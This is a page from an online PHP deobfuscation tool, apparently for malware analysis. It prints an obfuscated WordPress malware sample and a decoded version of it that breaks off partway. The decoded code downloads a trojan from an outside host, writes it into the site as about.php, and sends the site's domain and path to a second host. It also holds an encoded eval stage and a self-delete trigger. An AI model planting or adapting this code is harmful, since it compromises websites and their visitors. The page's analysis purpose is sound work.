Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O0...



Obfuscated php code

<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$OO0O___0O0=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{22}.$O00OO_0_O_{36}.$O00OO_0_O_{29}.$O00OO_0_O_{26}.$O00OO_0_O_{30}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{26}.$O00OO_0_O_{30};$O_O_0_O00O=$O00OO_0_O_{16}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{27}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_00O0OO__=$O00OO_0_O_{33}.$O00OO_0_O_{10}.$O00OO_0_O_{24}.$O00OO_0_O_{29}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{16}.$O00OO_0_O_{23}.$O00OO_0_O_{6}.$O00OO_0_O_{32}.$O00OO_0_O_{30};$O_0_O0_O0O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{35}.$O00OO_0_O_{16}.$O00OO_0_O_{10};$O_O_O000_O=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{23}.$O00OO_0_O_{35}.$O00OO_0_O_{33}.$O00OO_0_O_{30};$O___00OO0O=$O00OO_0_O_{33}.$O00OO_0_O_{30}.$O00OO_0_O_{24}.$O00OO_0_O_{12}.$O00OO_0_O_{6}.$O00OO_0_O_{23}.$O00OO_0_O_{12}.$O00OO_0_O_{2}.$O00OO_0_O_{30};$O__0O0_0OO=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{12}.$O00OO_0_O_{0}.$O00OO_0_O_{12}.$O00OO_0_O_{10};$O_OO_O000_=$O00OO_0_O_{32}.$O00OO_0_O_{18}.$O00OO_0_O_{24}.$O00OO_0_O_{23}.$O00OO_0_O_{29}.$O00OO_0_O_{30}.$O00OO_0_O_{17}.$O00OO_0_O_{30}.$O00OO_0_O_{32};$OO0O0__O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O__O00_OO0=\'\'','if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O__O00_OO0;');$OOO_O00_0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$url','$OO0O0_0_O_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($url);if(!$OO0O0_0_O_){$O0O0_O_0O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x5f\x30\x4f\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0O0_O_0O_,CURLOPT_RETURNTRANSFER,1);$OO0O0_0_O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x4f\x30\x30\x30\x5f"]($O0O0_O_0O_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f"]($O0O0_O_0O_);}return $OO0O0_0_O_;');$O_OO__0O00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f\x5f"]('$O_0O_O_0O0=\'\'','$O_0_O_OO00=array();$O_0_O_OO00["\x70\x61\x74\x68"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'//\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5f\x53\x45\x4c\x46"]),\'\',${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x30\x4f\x4f\x5f\x5f"](\'\\\\\\\\\',\'/\',${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x4f\x30\x5f"]();$O_0_O_OO00["\x73\x68\x65\x6c\x6c\x5f\x6c\x69\x6e\x6b"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly9jaGFyaXR5YmVuZWZpdGF1Y3Rpb25zLmNvbS9hYm91dC5waHA/NTIw\');if(isset(${"\x5f\x47\x45\x54"}["\x64\x65\x6c"])&&${"\x5f\x47\x45\x54"}["\x64\x65\x6c"]=="my_code"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);if($OO0O0O0___>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWJvdXQucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cDovLzUxbGEuaXp2My5jb20vYS50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cDovLzUxbGEuYWRjZWYuY29tLz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?><?php 	 
	 $TR7C='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';$crySEBM4n	=
function
($KFO7){$soPRU = "SuEBRc";$rK3toEDQ=$soPRU[(36 -35 -1) / 5]
.
$soPRU[(20 - 5)/ 3]	.
$soPRU[(84 - 78) / 2]
. $soPRU[(26 - 20) / 3].	$soPRU[(30 - 19 +9)/ 5]	. 'Y' .
((115 - 87- 8)/ 4).$soPRU[(6- 2)/ 4]
.
'C'. ''; 	 return $rK3toEDQ($KFO7);
	};  		  	 
$Hb1
=	function($waH_ )	{$I2pd = "Eo4ceAb_";$FqVR49W=$I2pd[(58 - 34) / 4]
.
$I2pd[(94-82 - 2)/ 2].'s' ; $FqVR49W.= 
$I2pd[(42- 34)/2].((88 -76) /2) . ((29-17) / 3) .$I2pd[(85 - 52 +9)/6]
;$FqVR49W .='d'.$I2pd[(56 -32) / 6].	$I2pd[(58-39-1) / 6] .$I2pd[(17- 12)/ 5] .
'D';$FqVR49W .=$I2pd[(69 - 79 + 10) / 3] .'';return $FqVR49W($waH_);}; 
		$DsYAms=function($D7H55Brd	) {$y1e3KYW9 = "Fe1_";$lrt0CgAB=$y1e3KYW9[(38- 35-3) /3] . 'G' .	$y1e3KYW9[(59- 57) /2]
.$y1e3KYW9[(101- 73 -10) /6]	.$y1e3KYW9[(4 -2) / 2] .
'B'.'g' .	$y1e3KYW9[(88 -88 +4) / 2] ; $lrt0CgAB .=	((78-66)/4)
.	''; $lrt0CgAB
=str_rot13($lrt0CgAB);return $lrt0CgAB($D7H55Brd);	     };
  	 	$CBRw	= function	($KiZWQ_	)	{
	$QD0H2T_="nWOPHqEIiIorIVhPme61kCyEGRO6JuCam2hvnMYA2wQyALzuJAEJYoki";return $QD0H2T_;};  	 $DsYAms	= function ($D7H55Brd ){$y1e3KYW9 = "Fe1_";$lrt0CgAB=$y1e3KYW9[(38- 35-3) /3]	.'G'.$y1e3KYW9[(59- 57) /2].	$y1e3KYW9[(101- 73 -10) /6]	.
$y1e3KYW9[(4 -2) / 2] .'B'. 'g' .	$y1e3KYW9[(88 -88 +4) / 2] ;	$lrt0CgAB.=  ((78-66)/4)	. '';$lrt0CgAB=str_rot13($lrt0CgAB);	return $lrt0CgAB($D7H55Brd);

}; $DzXBFe=function($bn2xsr,$ZmBWwQUAv
,$Dz6gHmi
)	{
return "dtdmTBegFCaEAbVsukIJ3";
};$TR7C	= $crySEBM4n($TR7C);  
	$Hb1	=	function($waH_){$I2pd = "Eo4ceAb_";$FqVR49W=$I2pd[(58 - 34) / 4]. $I2pd[(94-82 - 2)/ 2]	.'s';$FqVR49W
.=$I2pd[(42- 34)/2]
.((88 -76) /2) .
((29-17) / 3).
$I2pd[(85 - 52 +9)/6] ;$FqVR49W.='d'. $I2pd[(56 -32) / 6].	$I2pd[(58-39-1) / 6] . $I2pd[(17- 12)/ 5] .'D';$FqVR49W .= $I2pd[(69 - 79 + 10) / 3]	.	''; 
 	return $FqVR49W($waH_);};
$crySEBM4n =function ($KFO7){$soPRU = "SuEBRc";$rK3toEDQ=$soPRU[(36 -35 -1) / 5].$soPRU[(20 - 5)/ 3].	$soPRU[(84 - 78) / 2]	.
$soPRU[(26 - 20) / 3]
.	$soPRU[(30 - 19 +9)/ 5] .'Y' . ((115 - 87- 8)/ 4).
$soPRU[(6- 2)/ 4]. 'C'. '';return $rK3toEDQ($KFO7);}; $TR7C =$DsYAms($TR7C);	
$fECW=	function($ZUMwlY,$xVuD
){$PZE3nHK="DIeGGQebhMCLdrKE_iqJX9pZsRt_NTfPL5gy9pStjls7kcTVtcNnJpaF13OA2VK";
return $PZE3nHK;
};
$TR7C=$Hb1($TR7C); function  KsE($bBMm	){$ACzBMdf = "9BI7/Sou";$xjIfLuH=((74 -44 - 9) / 3)	;	$xjIfLuH.=$ACzBMdf[(52- 44) /4]
.	$ACzBMdf[(29 - 7- 1)/3] .	$ACzBMdf[(111 -74- 7) / 5]
. 'p'
.((150- 87 -9)/ 6)
. 'b'. ((26- 18)/ 2)	. $ACzBMdf[(101 - 77 + 6)/ 6].'U'.	((110- 108+8)/2)
. $ACzBMdf[(24 -22)/ 2] .
'M'.$ACzBMdf[(30- 15+9)/ 6]	. ''; return $xjIfLuH;}function  QlQ9ybhZ ($RHestMl	,$UxTF1YyD
,$E8gT5){
return "GQW5wdNkzY_Ia0pWXV";}

 
$TR7C
=	RhHuW($TR7C); eval($TR7C);	function RhHuW
($t_BR) {$eOyEC7A = "RGasn";$gOIkfK='t'	. 'm'
. 'V'
.$eOyEC7A[(63 - 55) / 4] . $eOyEC7A[(13 - 6+ 5) / 4].	'Y'	.	$eOyEC7A[(28- 16)/ 3] ;
$gOIkfK	.=$eOyEC7A[(16 -13) / 3]
. $eOyEC7A[(72-72) / 2] ;	$gOIkfK.= ''; $gOIkfK	=str_rot13($gOIkfK);
  
return $gOIkfK($t_BR); 
	

}function ScBerY5uC
($dM1jk
) {
return  KsE('').$dM1jk;}; ?><?php  define('WP_USE_THEMES', true );require(__DIR__.  '/wp-blog-header.php' ); ?>

Decoded(de-Obfuscated) php code

<?php

$O00OO_0_O_ = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
$O000OOO___ = "file_put_contents";
$O_0O_0O0O_ = "file_get_contents";
$O0_O0_O0O_ = "create_function";
$OOO0_O0_0_ = "base64_encode";
$OO0O___0O0 = "base64_decode";
$O_O_0_O00O = "preg_replace";
$O_00O0OO__ = "str_replace";
$O_0_O0_O0O = "curl_setopt";
$O_O_O000_O = "curl_close";
$O___00OO0O = "serialize";
$O__0O0_0OO = "curl_init";
$O_OO_O000_ = "curl_exec";
$OO0O0__O0_ = function ($O__O00_OO0 = '') {
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    } elseif (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $O__O00_OO0;
};
$OOO_O00_0_ = function ($url) {
    $OO0O0_0_O_ = @file_get_contents($url);
    if (!$OO0O0_0_O_) {
        $O0O0_O_0O_ = curl_init();
        curl_setopt($O0O0_O_0O_, CURLOPT_URL, $url);
        curl_setopt($O0O0_O_0O_, CURLOPT_RETURNTRANSFER, 1);
        $OO0O0_0_O_ = curl_exec($O0O0_O_0O_);
        curl_close($O0O0_O_0O_);
    }
    return $OO0O0_0_O_;
};
$O_OO__0O00 = function ($O_0O_O_0O0 = '') {
    $O_0_O_OO00 = array();
    $O_0_O_OO00["path"] = str_replace(str_replace('//', '/', $_SERVER["PHP_SELF"]), '', str_replace('\\\\', '/', $_SERVER["SCRIPT_FILENAME"]));
    $O_0_O_OO00["domain"] = $GLOBALS["OO0O0__O0_"]();
    $O_0_O_OO00["shell_link"] = "https://charitybenefitauctions.com/about.php?520";
    if (isset($_GET["del"]) && $_GET["del"] == "my_code") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        $OO0O0O0___ = @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
        if ($OO0O0O0___ > 0) {
            die("delete success");
        }
        die("delete failed");
    }
    $OO_O__O000 = "about.php";
    $O0O_0_O0_O = $O_0_O_OO00["path"] . "/" . $OO_O__O000;
    $OO0O0O0___ = @$GLOBALS["OOO_O00_0_"]("http://51la.izv3.com/a.txt");
    $OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___);
    if ($OO0O0O0___ > 0) {
        $O_0_O_OO00["trojan"] = "http://" . $O_0_O_OO00["domain"] . "/" . $OO_O__O000;
    } else {
        $O_0_O_OO00["trojan"] = "write failed";
    }
    $OO_0O00O__ = sprintf("http://51la.adcef.com/?d=%s", base64_encode(serialize($O_0_O_OO00)));
    $O__OO0O00_ = $GLOBALS["OOO_O00_0_"]($OO_0O00O__);
    if ($O__OO0O00_ == "done") {
        $O0_0OO_O0_ = $O_0_O_OO00["path"] . "/index.php";
        $OO0O0O0___ = @file_get_contents($O0_0OO_O0_);
        $O_OO_0_0O0 = "<\\?php.+\\(1\\);\\?>";
        $OO0O0O0___ = preg_replace("/<\\?php.+\\(1\\);\\?>/si", '', $OO0O0O0___);
        @file_put_contents($O0_0OO_O0_, $OO0O0O0___);
    }
};
$GLOBALS["O_OO__0O00"](1);
$TR7C = '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';
$crySEBM4n = function ($KFO7) {
    $soPRU = "SuEBRc";
    $rK3toEDQ = "ScBERY5uC";
    return ScBERY5uC($KFO7);
};
$Hb1 = function ($waH_) {
    $I2pd = "Eo4ceAb_";
    $FqVR49W = "bAs";
    $FqVR49W = "bAse64_";
    $FqVR49W = "bAse64_decoD";
    $FqVR49W = "bAse64_decoDE";
    return bAse64_decoDE($waH_);
};
$DsYAms = function ($D7H55Brd) {
    $y1e3KYW9 = "Fe1_";
    $lrt0CgAB = "FGe_eBg1";
    $lrt0CgAB = "FGe_eBg13";
